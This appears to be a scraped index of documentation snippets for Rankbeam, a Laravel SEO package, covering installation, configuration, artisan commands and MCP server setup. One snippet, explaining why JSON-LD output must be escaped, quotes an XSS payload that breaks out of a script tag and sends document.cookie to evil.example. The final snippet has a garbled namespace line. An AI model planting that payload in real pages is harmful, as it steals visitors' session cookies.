Rankbeam

https://docs.rankbeam.dev/
Admin
Rankbeam is a headless SEO engine for Laravel that provides typed, Git-native metadata resolution, a...
Tokens:54,672
Snippets:739
Trust Score:2.1
Update:3 months ago
Show doc for...
Tokens:
Raw
### Run the free core demo

Source: https://docs.rankbeam.dev/guide/demo

Clones the example repository and starts the demo application using Docker Compose.

```bash
git clone https://github.com/rankbeam/rankbeam-examples
cd rankbeam-examples/demo
docker compose up --build
```

--------------------------------

### Manual Installation Steps

Source: https://docs.rankbeam.dev/pro/installation

Perform the installation steps manually by publishing assets and running migrations individually.

```bash
php artisan vendor:publish --tag=seo-pro-config
php artisan vendor:publish --tag=seo-pro-migrations
php artisan migrate
```

--------------------------------

### Install Optional Sitemap Support

Source: https://docs.rankbeam.dev/guide/installation

Install the spatie/laravel-sitemap package to enable sitemap generation features.

```bash
composer require spatie/laravel-sitemap
```

--------------------------------

### Install and Configure Package

Source: https://docs.rankbeam.dev/guide/installation

Run these commands to install the package, publish the configuration file, and execute necessary database migrations.

```bash
composer require rankbeam/laravel-seo
php artisan vendor:publish --tag=seo-config
php artisan migrate
```

--------------------------------

### Install Browsershot dependency

Source: https://docs.rankbeam.dev/guide/og-image

Install the required PHP package to enable headless browser functionality.

```bash
composer require spatie/browsershot
```

--------------------------------

### Install Filament UI Packages

Source: https://docs.rankbeam.dev/pro/installation

Install the required Filament and Rankbeam SEO Filament packages to enable the dashboard UI.

```bash
composer require filament/filament rankbeam/laravel-seo-filament
```

--------------------------------

### Run the Pro Installer

Source: https://docs.rankbeam.dev/pro/installation

Execute the artisan command to publish configuration files and run necessary database migrations.

```bash
php artisan seo-pro:install
```

--------------------------------

### Verify Installation

Source: https://docs.rankbeam.dev/pro/broken-links

Use the doctor command to validate the configuration, database tables, and queue connection.

```bash
php artisan seo:doctor
```

--------------------------------

### Installing the RankBeam Laravel SEO Package

Source: https://docs.rankbeam.dev/blog/json-ld-schema-graphs-in-laravel

Install the required package via Composer to begin implementing schema graphs.

```bash
composer require rankbeam/laravel-seo
```

--------------------------------

### Publish Migrations and Verify Setup

Source: https://docs.rankbeam.dev/pro/search-console

Run artisan commands to publish the token migration table and verify the current configuration status.

```bash
php artisan vendor:publish --tag=seo-pro-migrations
php artisan migrate
```

--------------------------------

### Install and Configure Rankbeam

Source: https://docs.rankbeam.dev/blog/replaced-rank-math-with-a-laravel-package

Commands to install the package and publish necessary configuration and migration files.

```bash
composer require rankbeam/laravel-seo
php artisan vendor:publish --tag=seo-config
php artisan vendor:publish --tag=seo-migrations
php artisan migrate
```

--------------------------------

### Install SEO Filament Package

Source: https://docs.rankbeam.dev/guide/filament

Run this command in your terminal to add the SEO package to your Laravel project.

```bash
composer require rankbeam/laravel-seo-filament
```

--------------------------------

### Swap the package via Composer

Source: https://docs.rankbeam.dev/guide/upgrade-from-v1

Remove the old package and install the new version to begin the migration.

```bash
composer remove fibonoir/laravel-seo
composer require rankbeam/laravel-seo
```

--------------------------------

### Run Pro MCP Server

Source: https://docs.rankbeam.dev/blog/replaced-rank-math-with-a-laravel-package

Starts the Model Context Protocol server to allow AI tools like Claude or Cursor to interact with site SEO data.

```bash
php artisan seo-pro:mcp
```

--------------------------------

### Install Puppeteer runtime

Source: https://docs.rankbeam.dev/guide/og-image

Install the Puppeteer node package in the application root to provide the browser runtime.

```bash
npm install puppeteer
```

--------------------------------

### Configure Repository and Require Package

Source: https://docs.rankbeam.dev/pro/installation

Add the private repository to your composer configuration and install the package. Composer will prompt for your license credentials.

```bash
composer config repositories.rankbeam-pro composer https://laravel-seo-pro.composer.sh
composer require rankbeam/laravel-seo-pro
```

--------------------------------

### Enable OG Image Generation

Source: https://docs.rankbeam.dev/guide/og-image

Configure the SEO package to enable OG image generation. Requires spatie/browsershot and Chrome installed.

```php
// config/seo.php
'og_image' => [
    'enabled' => true,   // requires spatie/browsershot + Chrome
],
```

--------------------------------

### Request Examples for Markdown Content

Source: https://docs.rankbeam.dev/guide/markdown-for-bots

Examples of how requests trigger markdown responses versus standard HTML responses.

```text
GET /blog/my-post            → text/html   (your normal page)
GET /blog/my-post?format=md  → text/markdown
GET /blog/my-post  (Accept: text/markdown) → text/markdown
```

--------------------------------

### Verify installation with seo:doctor

Source: https://docs.rankbeam.dev/pro/installation

Run the doctor command to check the health of the SEO installation, including database tables, scan targets, and queue configuration.

```bash
php artisan seo:doctor
```

```text
  Rankbeam SEO — health check

  Application
    ✓ app.url is https://shop.example.com
  Database (core)
    ✓ Core tables present (seo_meta, seo_defaults)
  Database (Pro)
    ✓ Pro tables present (redirects, 404 logs, scan runs/issues/results)
  Scanning
    ✓ Scan targets registered: posts, static
  Queue
    ! Queue connection is 'sync'
      ↳ Scans run inline on the dispatching request/CLI. Use a real queue …
    ✓ Scan queue: default (seo-pro.scan.queue unset)
  Broken links
    ✓ Broken-link crawler is off (optional)
  AI assist
    ✓ AI assist is off (optional)
  Search Console
    ✓ Search Console is off (optional)

  ! Healthy with warnings — 1 warning(s), 8 passed.
```

--------------------------------

### Example llms.txt Markdown Structure

Source: https://docs.rankbeam.dev/blog/answer-engine-optimization-for-laravel

A sample format for an llms.txt file containing a site header and a list of key content links.

```markdown
# Acme Blog
> Engineering notes from the Acme team.

## Posts
- [Shipping fast without breaking SEO](https://acme.test/posts/shipping): how we deploy 20×/day.
- [Our JSON-LD entity graph](https://acme.test/posts/schema)
```

--------------------------------

### Audit Output Example

Source: https://docs.rankbeam.dev/blog/answer-engine-optimization-for-laravel

Example output showing warnings for missing author or date signals in article structured data.

```text
⚠ aeo_missing_author         article structured data has no author entity
⚠ aeo_article_missing_date   article has no datePublished / dateModified
```

--------------------------------

### Example JSON-LD Output

Source: https://docs.rankbeam.dev/blog/json-ld-schema-graphs-in-laravel

A sample of the generated JSON-LD graph showing cross-node references via @id.

```json
[
  {
    "@context": "https://schema.org",
    "@id": "https://example.com#organization",
    "@type": "Organization",
    "name": "Merchant Demo",
    "url": "https://example.com"
  },
  {
    "@context": "https://schema.org",
    "@id": "https://example.com#website",
    "@type": "WebSite",
    "publisher": { "@id": "https://example.com#organization" }
  },
  {
    "@context": "https://schema.org",
    "@id": "https://example.com/blog/seo-best-practices#webpage",
    "@type": "WebPage",
    "name": "10 SEO Best Practices That Still Work in 2026",
    "datePublished": "2026-06-10T11:19:29+00:00",
    "isPartOf": { "@id": "https://example.com#website" },
    "about":    { "@id": "https://example.com#organization" }
  }
]
```

--------------------------------

### View generated robots.txt for guarded environments

Source: https://docs.rankbeam.dev/guide/indexing-guard

Example of the robots.txt content automatically generated when the indexing guard is active in a restricted environment.

```text
# robots.txt — managed by Rankbeam
# Indexing guard ACTIVE: this app is running in the "staging" environment,
# which is not in seo.indexing_guard.allowed_environments. Every crawler is
# disallowed so this non-production site stays out of search results.
# https://rankbeam.dev/guide/indexing-guard

User-agent: *
Disallow: /
```

--------------------------------

### Initialize SchemaGraph

Source: https://docs.rankbeam.dev/guide/schema

Create a schema graph and add organization, website, and webpage nodes.

```php
use Rankbeam\Seo\Facades\SEO;
use Rankbeam\Seo\Services\Schema\SchemaCollection;
use Rankbeam\Seo\Services\Schema\SchemaGraph;

$seo = SEO::resolve($post);

$graph = new SchemaGraph();

$schemas = SchemaCollection::make()
    ->add($graph->organization())   // @id: {app_url}#organization
    ->add($graph->webSite())        // @id: {app_url}#website, publisher → #organization
    ->add($graph->webPage($seo));   // @id: {page_url}#webpage, isPartOf → #website
```

--------------------------------

### Malicious Input Example

Source: https://docs.rankbeam.dev/blog/json-ld-schema-graphs-in-laravel

An example of a string that would terminate a script tag prematurely if not properly escaped.

```text
My post </script><script>document.location='https://evil.example/?'+document.cookie</script>
```

--------------------------------

### Run the demo with Pro features

Source: https://docs.rankbeam.dev/guide/demo

Configures authentication credentials and enables the Pro flag to run the audit features during the Docker build process.

```bash
export COMPOSER_AUTH='{"http-basic":{"laravel-seo-pro.composer.sh":{"username":"you@example.com","password":"YOUR-LICENSE-KEY"}}}'
WITH_PRO=true docker compose up --build
```

--------------------------------

### Run SEO and Readability Checklist

Source: https://docs.rankbeam.dev/blog/answer-engine-optimization-for-laravel

Executes a CLI command to evaluate a specific model instance against keyword and readability standards.

```bash
php artisan seo-pro:checklist "App\Models\Post" 42   # keyword + readability, pass/warn/fail
```

--------------------------------

### Run SEO explanation commands

Source: https://docs.rankbeam.dev/guide/explain

Use these commands to debug SEO resolution for specific models or routes. The model must implement the HasSEO trait.

```bash
# Explain a specific record
php artisan seo:explain "App\Models\Post" 42

# Explain the first record of a model
php artisan seo:explain "App\Models\Post"

# With a route-defaults layer and a locale
php artisan seo:explain "App\Models\Post" 42 --route=posts.show --locale=de

# Machine-readable
php artisan seo:explain "App\Models\Post" 42 --json
```

--------------------------------

### Verify Migration Readiness

Source: https://docs.rankbeam.dev/guide/wordpress-migration-runbook

Checklist of commands and conditions to validate before removing legacy WordPress packages or tables.

```bash
php artisan seo:audit --strict
```

```bash
php artisan seo:doctor
```

--------------------------------

### Explicit SEO Meta Save

Source: https://docs.rankbeam.dev/concepts/resolver-precedence

Example of setting robots meta data directly on a model instance.

```php
$page->saveSEO(['robots' => 'noindex,follow'])
```

--------------------------------

### Running SEO Checklist via Artisan

Source: https://docs.rankbeam.dev/pro/on-page-checklist

Execute SEO checks from the command line for specific models. Supports JSON output and strict mode for CI/CD pipelines.

```bash
php artisan seo-pro:checklist "App\Models\Post" 42
php artisan seo-pro:checklist "App\Models\Post" 42 --json     # machine-readable
php artisan seo-pro:checklist "App\Models\Post" 42 --strict   # non-zero exit on any failure (CI)
php artisan seo-pro:checklist "App\Models\Post" 42 --locale=it
```

--------------------------------

### Register sitemap sources

Source: https://docs.rankbeam.dev/guide/sitemaps

Register models, closures, or static URLs in a service provider's boot method.

```php
use App\Models\Post;
use Rankbeam\Seo\Facades\SEO;

// A model class — every (indexable) record's getUrlForSEO()
SEO::sitemaps()->register('posts', Post::class);

// A closure returning URLs
SEO::sitemaps()->register('pages', fn () => ['/about', '/contact']);

// Any iterable of URLs
SEO::sitemaps()->register('legal', ['/imprint', '/privacy']);
```

--------------------------------

### Enable Markdown for Bots in Configuration

Source: https://docs.rankbeam.dev/guide/markdown-for-bots

Add this setting to your configuration file to activate the markdown serving feature.

```bash
# config/seo.php
'markdown_for_bots' => [ 'enabled' => true ],
```

--------------------------------

### Generate sitemaps via CLI

Source: https://docs.rankbeam.dev/guide/sitemaps

Execute the artisan command to generate sitemap files on disk.

```bash
php artisan seo:sitemap
```

--------------------------------

### Artisan Command: seo-pro:checklist

Source: https://docs.rankbeam.dev/pro/on-page-checklist

CLI command to run the SEO checklist for a specific model record.

```APIDOC
## php artisan seo-pro:checklist {model} {id}

### Description
Runs the SEO checklist for a specific model record via the command line.

### Arguments
- **model** (string) - Required - The fully qualified class name of the model (e.g., "App\Models\Post").
- **id** (int) - Required - The ID of the record.

### Options
- **--json**: Output the results in a machine-readable JSON format.
- **--strict**: Return a non-zero exit code if any failures are detected (useful for CI).
- **--locale**: Specify the locale for the check.
```

--------------------------------

### Start Dedicated Worker

Source: https://docs.rankbeam.dev/pro/broken-links

Launch a worker specifically for the seo-broken-links queue to process crawl jobs without blocking user-facing tasks.

```bash
# --tries=1: a dead job is reclaimed by the next continuation, so queue-level
#   retries are unnecessary. --timeout must exceed the batch's hard time budget
#   (seo-pro.broken_links.batch.hard_time_budget_seconds, default 180) plus the
#   HTTP timeout, so a batch is never killed mid-bookkeeping.
php artisan queue:work --queue=seo-broken-links --tries=1 --timeout=240
```

--------------------------------

### Configure AI Provider Environment Variables

Source: https://docs.rankbeam.dev/pro/ai-assist

Set these variables in your .env file to enable and configure the AI provider. Ensure the API key is a pay-as-you-go key, as subscription-only accounts will fail.

```dotenv
SEO_PRO_AI_ENABLED=true
SEO_PRO_AI_PROVIDER=local
SEO_PRO_AI_MODEL=llama3.1          # a model the server has pulled
SEO_PRO_AI_LOCAL_BASE_URL=http://localhost:11434/v1
SEO_PRO_AI_LOCAL_ALLOW_PRIVATE=true   # required for a localhost server
# no API key needed for a local server
```

```dotenv
SEO_PRO_AI_ENABLED=true
SEO_PRO_AI_PROVIDER=openai
SEO_PRO_AI_API_KEY=sk-...
# optional: SEO_PRO_AI_MODEL=gpt-5.4-mini  (default: gpt-5.5)
```

```dotenv
SEO_PRO_AI_ENABLED=true
SEO_PRO_AI_PROVIDER=anthropic
SEO_PRO_AI_API_KEY=sk-ant-...
# optional: SEO_PRO_AI_MODEL=claude-haiku-4-5  (default: claude-opus-4-8)
```

```dotenv
SEO_PRO_AI_ENABLED=true
SEO_PRO_AI_PROVIDER=google
SEO_PRO_AI_API_KEY=AIza...        # AI Studio key: aistudio.google.com/apikey
# use a paid (billing-enabled) key for real use — the free tier is heavily rate-limited
# optional: SEO_PRO_AI_MODEL=gemma-3-12b-it  (default: gemini-2.5-flash)
```

--------------------------------

### Configure sitemap sources

Source: https://docs.rankbeam.dev/guide/sitemaps

Define models and static URLs in the configuration file.

```php
'sitemap' => [
    'models' => [
        \App\Models\Post::class => ['priority' => 0.8, 'changefreq' => 'weekly'],
    ],
    'static_urls' => [
        ['url' => '/', 'priority' => 1.0, 'changefreq' => 'daily'],
    ],
],
```

--------------------------------

### Example MCP Server Card JSON response

Source: https://docs.rankbeam.dev/pro/mcp

The JSON structure returned by the server card endpoint, detailing server metadata and available tools.

```json
{
  "$schema": "https://modelcontextprotocol.io/schemas/draft/server-card.json",
  "name": "com.example/rankbeam-seo",
  "version": "1.0.0",
  "title": "Rankbeam SEO MCP server",
  "description": "Read — and optionally edit — this site's SEO over the Model Context Protocol…",
  "_meta": {
    "io.rankbeam.seo/transport": "stdio",
    "io.rankbeam.seo/launch": "php artisan seo-pro:mcp",
    "io.rankbeam.seo/tool_count": 10,
    "io.rankbeam.seo/tools": [ { "name": "seo_resolve", "description": "…" } ]
  }
}
```

--------------------------------

### Define hreflang link tags

Source: https://docs.rankbeam.dev/blog/hreflang-done-right-in-laravel

Example of HTML link tags used to declare alternate language versions of a page, including the x-default fallback.

```html
<link rel="alternate" hreflang="en-US" href="https://acme.test/en/about">
<link rel="alternate" hreflang="it-IT" href="https://acme.test/it/chi-siamo">
<link rel="alternate" hreflang="x-default" href="https://acme.test/about">
```

--------------------------------

### Import SEO Data via Artisan

Source: https://docs.rankbeam.dev/blog/replaced-rank-math-with-a-laravel-package

Run the import command to migrate SEO data from ralphjsmit/laravel-seo, using the --dry-run flag to preview changes.

```bash
php artisan seo:import-from ralphjsmit --dry-run   # preview
php artisan seo:import-from ralphjsmit             # then for real
```

--------------------------------

### Use Wildcards for Environment Matching

Source: https://docs.rankbeam.dev/guide/indexing-guard

Use wildcards in the configuration array to match multiple environment names.

```php
'allowed_environments' => ['prod*'],
```

--------------------------------

### Run CSV Import Command

Source: https://docs.rankbeam.dev/guide/migrate-from-wordpress

Commands to preview or execute the SEO data import from a CSV file.

```bash
# Preview first — writes nothing
php artisan seo:import-from wordpress-csv \
  --file=storage/migrations/seo-export.csv \
  --model="App\Models\Post" \
  --dry-run

# Then import for real
php artisan seo:import-from wordpress-csv \
  --file=storage/migrations/seo-export.csv \
  --model="App\Models\Post"
```

--------------------------------

### Pre-generate OG Images

Source: https://docs.rankbeam.dev/guide/og-image

Run the artisan command to generate cards for configured models.

```bash
php artisan seo:og-images
```

--------------------------------

### Configure JSON-LD Schema

Source: https://docs.rankbeam.dev/reference/configuration

Sets up global organization, publisher, and website metadata for structured data.

```php
'schema' => [
    'organization' => [
        'name' => env('APP_NAME'),
        'url'  => env('APP_URL'),
        'logo' => env('SEO_ORGANIZATION_LOGO'),
        // 'sameAs' => [],   // social profile URLs
    ],
    'publisher' => [
        'name' => env('APP_NAME'),
        'logo' => env('SEO_PUBLISHER_LOGO'),
    ],
    'website' => [
        'name' => env('APP_NAME'),
        'url'  => env('APP_URL'),
        // 'potentialAction' => [],   // SearchAction for sitelinks search box
    ],
],
```

--------------------------------

### Register Rankbeam SEO with Claude Code

Source: https://docs.rankbeam.dev/pro/mcp

Use the CLI to add the MCP server. Ensure the command is run from the application root.

```bash
claude mcp add rankbeam-seo -- php artisan seo-pro:mcp
```

```bash
claude mcp list
# rankbeam-seo: php artisan seo-pro:mcp - ✔ Connected
```

```bash
claude mcp add rankbeam-seo -- "C:\Users\you\.config\herd\bin\php84\php.exe" "C:\path\to\app\artisan" seo-pro:mcp
```

--------------------------------

### Generate AI SEO Suggestions via CLI

Source: https://docs.rankbeam.dev/pro/ai-assist

Use these commands to generate metadata suggestions, explain scan issues, or build schema.org JSON-LD for specific models.

```bash
# title + description suggestions for a model
php artisan seo-pro:ai-suggest "App\Models\Post" 42

# one field only
php artisan seo-pro:ai-suggest "App\Models\Post" 42 --field=description

# explain a scan issue (IDs from seo-pro:scan-status)
php artisan seo-pro:ai-suggest --issue=17

# suggest a schema.org type + built, validated JSON-LD for a model
php artisan seo-pro:suggest-schema "App\Models\Post" 42
```

--------------------------------

### CLI IndexNow Submission

Source: https://docs.rankbeam.dev/pro/indexnow

Submit URLs or sitemaps directly from the command line using the artisan command. Use the --sync flag to run the submission process inline.

```bash
php artisan seo-pro:indexnow https://example.com/a https://example.com/b
php artisan seo-pro:indexnow --sitemap     # submit every URL in the sitemap registry
php artisan seo-pro:indexnow --sitemap --sync   # run inline instead of queuing
```

--------------------------------

### Configure IndexNow environment variables

Source: https://docs.rankbeam.dev/pro/indexnow

Enable IndexNow and set the required ownership key in your environment configuration.

```dotenv
SEO_PRO_INDEXNOW_ENABLED=true
SEO_PRO_INDEXNOW_KEY=0123456789abcdef0123456789abcdef
```

--------------------------------

### Verify SEO metadata import

Source: https://docs.rankbeam.dev/guide/migrate-from-other-packages

Run the audit command to confirm that the imported metadata is correctly mapped and formatted.

```bash
php artisan seo:audit            # confirm the imported metadata looks right
```

--------------------------------

### Run Database Import Command

Source: https://docs.rankbeam.dev/guide/migrate-from-wordpress

Commands to import SEO data directly from Yoast or Rank Math WordPress database tables.

```bash
# Yoast SEO
php artisan seo:import-from yoast \
  --connection=wordpress --model="App\Models\Post" --dry-run

# Rank Math
php artisan seo:import-from rank-math \
  --connection=wordpress --model="App\Models\Post" --table=wp_
```

--------------------------------

### Import SEO Metadata with Dry Run

Source: https://docs.rankbeam.dev/guide/wordpress-migration-runbook

Executes a dry run to verify metadata import from various sources without modifying the database.

```bash
# Yoast, from the live WordPress database (configure the connection first)
php artisan seo:import-from yoast \
  --connection=wordpress \
  --model="App\Models\Post" \
  --redirects-csv=storage/app/redirects.csv \
  --dry-run

# Rank Math is identical — just swap the source key
php artisan seo:import-from rank-math --connection=wordpress --model="App\Models\Post" --dry-run

# From a CSV export instead of the live DB
php artisan seo:import-from wordpress-csv --file=storage/app/wp-export.csv --model="App\Models\Post" --dry-run
```

--------------------------------

### Configure Allowed Environments

Source: https://docs.rankbeam.dev/guide/indexing-guard

Define which environments are permitted to index using environment variables or the configuration file.

```dotenv
# Let a public preview environment index too
SEO_INDEXING_GUARD_ALLOWED="production,prod-eu"
```

```php
'indexing_guard' => [
    'enabled' => env('SEO_INDEXING_GUARD', false),
    'allowed_environments' => ['production', 'prod-eu'],
],
```

--------------------------------

### Apply SEO Metadata Import

Source: https://docs.rankbeam.dev/guide/wordpress-migration-runbook

Executes the actual import of SEO metadata into the database by removing the dry-run flag.

```bash
php artisan seo:import-from yoast --connection=wordpress --model="App\Models\Post" --redirects-csv=storage/app/redirects.csv
```

--------------------------------

### Configure Horizon Environments

Source: https://docs.rankbeam.dev/pro/production

Define workload environments in config/horizon.php to allow Horizon to manage queue processes.

```php
'environments' => [
    'production' => [
        'default' => ['connection' => 'redis', 'queue' => ['default'], 'maxProcesses' => 6],
        'seo'     => ['connection' => 'redis', 'queue' => ['seo'], 'maxProcesses' => 2, 'timeout' => 360],
        'crawler' => ['connection' => 'redis', 'queue' => ['broken_links'], 'maxProcesses' => 1, 'timeout' => 240, 'tries' => 1],
    ],
],
```

--------------------------------

### Bulk-fill Metadata via Facade

Source: https://docs.rankbeam.dev/pro/ai-assist

Programmatically trigger the AI fill process using the SeoPro facade. This method returns a summary of processed, filled, and failed records.

```php
use Rankbeam\Seo\Pro\Facades\SeoPro;

$summary = SeoPro::aiFill()->fill([\App\Models\Post::class], 'all', limit: 50, apply: true);
// ['processed' => 120, 'filled' => 18, 'skipped' => 102, 'failed' => 0, 'resumed' => 0, 'errors' => [], 'records' => [...]]
// On a provider failure, 'errors' maps each distinct error code to its human
// message (e.g. 'quota_exceeded' => 'OpenAI: the provider account is out of
// credit or quota…'), and the seo-pro:ai-fill command prints those reasons —
// so a run never fails silently.
```

--------------------------------

### Configure Cursor for MCP

Source: https://docs.rankbeam.dev/pro/mcp

Define the MCP server in the project-specific or global .cursor/mcp.json file.

```json
{
  "mcpServers": {
    "rankbeam-seo": {
      "command": "php",
      "args": ["/absolute/path/to/your/app/artisan", "seo-pro:mcp"]
    }
  }
}
```

--------------------------------

### Import SEO metadata by content type

Source: https://docs.rankbeam.dev/guide/migrate-from-wordpress

Run the importer separately for different content types to ensure correct model mapping.

```bash
php artisan seo:import-from yoast --model="App\Models\Post" --post-type=post
php artisan seo:import-from yoast --model="App\Models\Page" --post-type=page
```

--------------------------------

### Configure Claude Desktop for MCP

Source: https://docs.rankbeam.dev/pro/mcp

Add the server configuration to the Claude Desktop JSON config file. Windows users must double-escape backslashes in paths.

```json
{
  "mcpServers": {
    "rankbeam-seo": {
      "command": "php",
      "args": ["/absolute/path/to/your/app/artisan", "seo-pro:mcp"]
    }
  }
}
```

```json
{
  "mcpServers": {
    "rankbeam-seo": {
      "command": "C:\\Users\\you\\.config\\herd\\bin\\php84\\php.exe",
      "args": ["C:\\path\\to\\app\\artisan", "seo-pro:mcp"]
    }
  }
}
```

--------------------------------

### Advanced SEO Report CLI Options

Source: https://docs.rankbeam.dev/pro/reports

Commands for specifying output paths, email recipients, previewing without storage, and generating JSON summaries.

```bash
# Write to a specific file or directory
php artisan seo-pro:report --output=/tmp/acme-october.pdf

# E-mail it to one or more recipients (the PDF is attached)
php artisan seo-pro:report --email=client@acme.com --email=pm@agency.com

# One-off preview that does NOT store a snapshot (deltas won't advance)
php artisan seo-pro:report --no-store --output=/tmp/preview.pdf

# Machine-readable summary
php artisan seo-pro:report --json
```

--------------------------------

### Enable Sitemap Extensions

Source: https://docs.rankbeam.dev/guide/sitemaps

Enable image and hreflang extensions in the configuration file to include additional metadata in the sitemap.

```php
'sitemap' => [
    'images' => true,      // <image:image> per URL
    'alternates' => true,  // <xhtml:link rel="alternate"> per URL
],
```

--------------------------------

### Import SEO Data from Rank Math

Source: https://docs.rankbeam.dev/blog/replaced-rank-math-with-a-laravel-package

Commands to import SEO metadata from a WordPress database, including a dry-run option for verification.

```bash
# Rank Math, reading the live WordPress database
php artisan seo:import-from rank-math \
  --connection=wordpress --model="App\Models\Post" --dry-run

# Looks right? Drop the flag and import for real
php artisan seo:import-from rank-math \
  --connection=wordpress --model="App\Models\Post"
```

--------------------------------

### Generate robots.txt and ai.txt files

Source: https://docs.rankbeam.dev/guide/ai-crawlers

Writes the full robots.txt file and optionally the ai.txt file to the public directory.

```bash
php artisan seo:robots-txt          # writes public/robots.txt
php artisan seo:robots-txt --ai-txt # also write public/ai.txt
```

--------------------------------

### Register scan targets in a service provider

Source: https://docs.rankbeam.dev/pro/installation

Use the SeoPro facade within the boot method to register models, routes, or sitemaps for scanning.

```php
use Rankbeam\Seo\Pro\Facades\SeoPro;

public function boot(): void
{
    SeoPro::targets()->register('posts', Post::class);
    SeoPro::targets()->registerRoutes('static', ['home', 'pricing']);
    // or: SeoPro::targets()->fromSitemaps();
}
```

--------------------------------

### Introspect and register MCP tools

Source: https://docs.rankbeam.dev/pro/mcp

Use the SeoPro facade to access the tool registry for listing enabled tools or adding custom implementations.

```php
use Rankbeam\Seo\Pro\Facades\SeoPro;

SeoPro::mcp()->all();                 // enabled tools, keyed by name
SeoPro::mcp()->register($myCustomTool); // any Rankbeam\Seo\Pro\Mcp\McpTool
```

--------------------------------

### Re-publish configuration

Source: https://docs.rankbeam.dev/guide/upgrade-from-v1

After deleting the stale config file, use this command to publish the new v2 configuration.

```bash
php artisan vendor:publish --tag=seo-config
```

--------------------------------

### Resolve 404 with redirect

Source: https://docs.rankbeam.dev/pro/headless

Create a redirect rule and mark a 404 log entry as resolved in one step using the --from-404 flag.

```bash
php artisan seo-pro:404-list

#  ID | Path        | Hits | Status | ...
#  1  | /old-pricing | 41  | new

php artisan seo-pro:redirect-create /old-pricing /pricing --from-404=/old-pricing

# Redirect #1 created: /old-pricing → /pricing (301).
# 404 log #1 (/old-pricing) marked redirected.
```

--------------------------------

### Enable MCP Write Access

Source: https://docs.rankbeam.dev/pro/mcp

Set allow_edits to true in the configuration to enable the seo_save_meta tool. Defaults to false for security.

```php
// config/seo-pro.php
'mcp' => [
    'allow_edits' => true,   // default: false
],
```

--------------------------------

### Enable focus keywords in configuration

Source: https://docs.rankbeam.dev/guide/audit

Set the enabled flag to true in the SEO configuration file to activate the focus-keyword workflow.

```php
// config/seo.php
'keywords' => [
    'enabled' => true,
],
```

--------------------------------

### Run the ralphjsmit importer

Source: https://docs.rankbeam.dev/guide/migrate-from-other-packages

Execute the importer to migrate data from the ralphjsmit package. Use the dry-run flag to preview changes before applying them.

```bash
# Preview first — writes nothing
php artisan seo:import-from ralphjsmit --dry-run

# Then import for real
php artisan seo:import-from ralphjsmit
```

--------------------------------

### Enable AI-bot monitoring

Source: https://docs.rankbeam.dev/pro/ai-bot-monitor

Add this configuration to your seo-pro.php file to enable the global middleware for recording crawler activity.

```php
// config/seo-pro.php
'ai_bots' => [
    'enabled' => true,
],
```

--------------------------------

### Implement ProvidesSeoMarkdown Contract

Source: https://docs.rankbeam.dev/guide/markdown-for-bots

Define a custom markdown output for a model by implementing the ProvidesSeoMarkdown contract.

```php
use Rankbeam
amesp

class Post extends Model implements ProvidesSeoMarkdown
{
    use HasSEO;

    public function toSeoMarkdown(): ?string
    {
        return $this->body_markdown; // your already-clean markdown
    }
}
```
Tokens:
Raw